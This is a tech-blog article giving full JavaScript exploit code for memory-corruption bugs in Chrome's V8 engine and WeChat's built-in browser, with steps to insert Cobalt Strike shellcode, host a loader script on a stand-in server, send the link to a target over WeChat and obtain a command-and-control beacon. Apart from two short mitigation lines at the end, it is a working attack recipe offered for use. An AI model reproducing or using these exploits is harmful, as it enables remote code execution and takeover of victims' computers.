Fading Coder

One Final Commit for the Last Sprint

Home > Tech > Content

Exploiting Chrome and WeChat Zero-Day Vulnerabilities for Cobalt Strike Payload Delivery

Tech May 15 1

Exploiting Chrome for Cobalt Strike Payload Delivery

  1. Create the Exploit HTML File Save the following JavaScript payload as chrome_exploit.html.

    <script>
    function triggerGarbageCollection() {
        for (let i = 0; i < 0x80000; ++i) {
            new ArrayBuffer();
        }
    }
    
    const payload = []; // Insert shellcode here
    const wasmBinary = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    const wasmModule = new WebAssembly.Module(wasmBinary);
    const wasmInstance = new WebAssembly.Instance(wasmModule);
    const wasmMain = wasmInstance.exports.main;
    
    const converterBuffer = new ArrayBuffer(8);
    const converterView = new DataView(converterBuffer);
    
    function getFloatLow(f) {
        converterView.setFloat64(0, f, true);
        return converterView.getUint32(0, true);
    }
    function getFloatHigh(f) {
        converterView.setFloat64(0, f, true);
        return converterView.getUint32(4, true);
    }
    function combineToFloat(low, high) {
        converterView.setUint32(0, low, true);
        converterView.setUint32(4, high, true);
        return converterView.getFloat64(0, true);
    }
    
    class ExploitBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.marker = 0xb33f;
        }
    }
    
    function initVulnerableObjects(condition) {
        let val = -1;
        if (condition) val = 0xFFFFFFFF;
        const arr = new Array(Math.sign(0 - Math.max(0, val, -1)));
        arr.shift();
        const localArray = [5.1, 0];
        const buffer = new ExploitBuffer(0x1000);
        arr[0] = 0x1122;
        return [arr, localArray, buffer];
    }
    
    for (let i = 0; i < 0x10000; i++) initVulnerableObjects(false);
    triggerGarbageCollection();
    triggerGarbageCollection();
    
    let [corruptedArray, rwArray, targetBuffer] = initVulnerableObjects(true);
    corruptedArray[12] = 0x22444;
    delete corruptedArray;
    
    function modifyBackingStore(high, low) {
        rwArray[4] = combineToFloat(getFloatLow(rwArray[4]), high);
        rwArray[5] = combineToFloat(low, getFloatHigh(rwArray[5]));
    }
    
    function leakObjectAddress(obj) {
        targetBuffer.marker = obj;
        return (getFloatLow(rwArray[9]) - 1);
    }
    
    const exploitView = new DataView(targetBuffer);
    const bufferPtrLow = leakObjectAddress(targetBuffer);
    const idx0Addr = bufferPtrLow - 0x10;
    const baseAddr = (bufferPtrLow & 0xffff0000) - ((bufferPtrLow & 0xffff0000) % 0x40000) + 0x40000;
    const delta = baseAddr + 0x1c - idx0Addr;
    let baseValue;
    if ((delta % 8) === 0) {
        const baseIdx = delta / 8;
        baseValue = getFloatLow(rwArray[baseIdx]);
    } else {
        const baseIdx = ((delta - (delta % 8)) / 8);
        baseValue = getFloatHigh(rwArray[baseIdx]);
    }
    
    const wasmInstanceAddr = leakObjectAddress(wasmInstance);
    modifyBackingStore(wasmInstanceAddr, baseValue);
    const codeEntry = exploitView.getFloat64(13 * 8, true);
    modifyBackingStore(getFloatLow(codeEntry), getFloatHigh(codeEntry));
    
    for (let i = 0; i < payload.length; i++) {
        exploitView.setUint8(i, payload[i]);
    }
    wasmMain();
    </script>
    
  2. Generaet and Encode the Payload Generate a Cobalt Strike shellcode payload and encode it to fit within the JavaScript array format.

  3. Insert Payload into HTML Replace the empty const payload = []; array in the HTML file with the encoded shellcode bytes.

  4. Trigger the Exploit The exploit is triggered when a target loads the HTML page in a vulnerible version of Chrome.

  5. Establish C2 Session Upon successful exectuion, a beacon call-back to the Cobalt Strike team server is established.

Exploiting WeChat for Payload Delivery

  1. Create the Exploit JavaScript (color.js)

    const LOGGING_ENABLED = true;
    const IN_WORKER = true;
    let shellcode = []; // Insert shellcode here
    
    function log(msg) {}
    
    let dummyVariable = 0;
    const targetFunc = (function(value) {
        if (value === 0xdecaf0) {
            dummyVariable += 1;
        }
        dummyVariable += 1;
        dummyVariable |= 0xff;
        dummyVariable *= 12;
    });
    
    for (let i = 0; i < 0x10000; ++i) targetFunc(i);
    
    let globalArray;
    const derivedClassCount = 17 * 87481 - 8;
    const inheritanceDepth = 19 * 19;
    
    function callback(flag) {
        if (flag === true) return;
        globalArray = [];
        globalArray[0] = 0x1dbabe * 2;
        return 'c01db33f';
    }
    
    function forceGarbageCollect() {
        for (let i = 0; i < 0x10000; ++i) new String();
    }
    
    function createMemoryPrimitive() {
        const self = this;
        this.memBuffer = null;
        this.memView = null;
        this.pageBuf = null;
        this.pageView = null;
        this.optPreventer = [];
    
        const SLOT_OFFSET = 0x1f;
        const BACKING_STORE_OFFSET = 0xf;
    
        class MarkerBuffer extends ArrayBuffer {
            constructor() {
                super(0x1000);
                this.tag = this;
            }
        }
    
        this.pageBuf = new MarkerBuffer();
        this.pageView = new DataView(this.pageBuf);
    
        new RegExp({ toString: function() { return 'a'; } });
        callback(true);
    
        class BaseExploitClass extends RegExp {
            constructor() {
                super(
                    { toString: callback },
                    'g'
                );
                self.memBuffer = new ArrayBuffer(0x80);
                globalArray[8] = self.pageBuf;
            }
        }
    
        const derivedClassGenerator = eval(`(function generator(i) {
            if (i === 0) return BaseExploitClass;
            class Derived extends generator(i-1) {
                constructor() {
                    super();
                    return;
                    ${'this.x = 0;'.repeat(derivedClassCount)}
                }
            }
            return Derived;
        })`);
    
        forceGarbageCollect();
        new (derivedClassGenerator(inheritanceDepth))();
    
        this.memView = new DataView(this.memBuffer);
        this.readAddress = function(obj) {
            this.pageBuf.tag = obj;
            return this.memView.getUint32(SLOT_OFFSET, true, ...this.optPreventer);
        };
        this.writeAddress = function(addr) {
            this.memView.setUint32(BACKING_STORE_OFFSET, addr, true, ...this.optPreventer);
        };
        this.read32 = function(addr) {
            this.writeAddress(addr);
            return this.pageView.getUint32(0, true, ...this.optPreventer);
        };
        this.write32 = function(addr, value) {
            this.writeAddress(addr);
            this.pageView.setUint32(0, value, true, ...this.optPreventer);
        };
        this.write8 = function(addr, value) {
            this.writeAddress(addr);
            this.pageView.setUint8(0, value, ...this.optPreventer);
        };
        this.writeBytes = function(addr, data) {
            for (let i = 0; i < data.length; i++) this.write8(addr + i, data[i]);
        };
        return this;
    }
    
    function executeExploit() {
        const primitive = createMemoryPrimitive();
        const funcAddr = primitive.readAddress(targetFunc);
        log('[*] Function address: 0x' + funcAddr.toString(16));
        const CODE_INS_OFFSET = 0x1b;
        const codeAddr = primitive.read32(funcAddr + CODE_INS_OFFSET);
        log('[*] Code address: 0x' + codeAddr.toString(16));
        primitive.writeBytes(codeAddr, shellcode);
        targetFunc(0);
    }
    
    try {
        log('Starting exploit...');
        executeExploit();
    } catch(e) {
        log(e);
    }
    
  2. Create the Loader HTML (test.html)

    <script src="http://YOUR_SERVER/color.js"></script>
    
  3. Generate Payload Generate a compatible shellcode payload.

  4. Insert Payload Replace the shellcode array in color.js with the generated payload bytes.

  5. Deliver the Exploit Send the test.html link to a target user via WeChat.

  6. Establish C2 Session Upon execution in a vulnerable version of WeChat's built-in browser, the shellcode executes, calling back to the Cobalt Strike server.

  7. Mitigation Recommendations

    • Update Windows WeChat to version 3.2.1.141 or later.
    • Avoid clicking on untrusted links from unknown sources.

Related Articles

Understanding Strong and Weak References in Java

Strong References Strong reference are the most prevalent type of object referencing in Java. When an object has a strong reference pointing to it, the garbage collector will not reclaim its memory. F...

Implement Image Upload Functionality for Django Integrated TinyMCE Editor

Django’s Admin panel is highly user-friendly, and pairing it with TinyMCE, an effective rich text editor, simplifies content management significantly. Combining the two is particular useful for bloggi...

SBUS Signal Analysis and Communication Implementation Using STM32 with Fus Remote Controller

Overview In a recent project, I utilized the SBUS protocol with the Fus remote controller to control a vehicle's basic operations, including movement, lights, and mode switching. This article is aimed...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.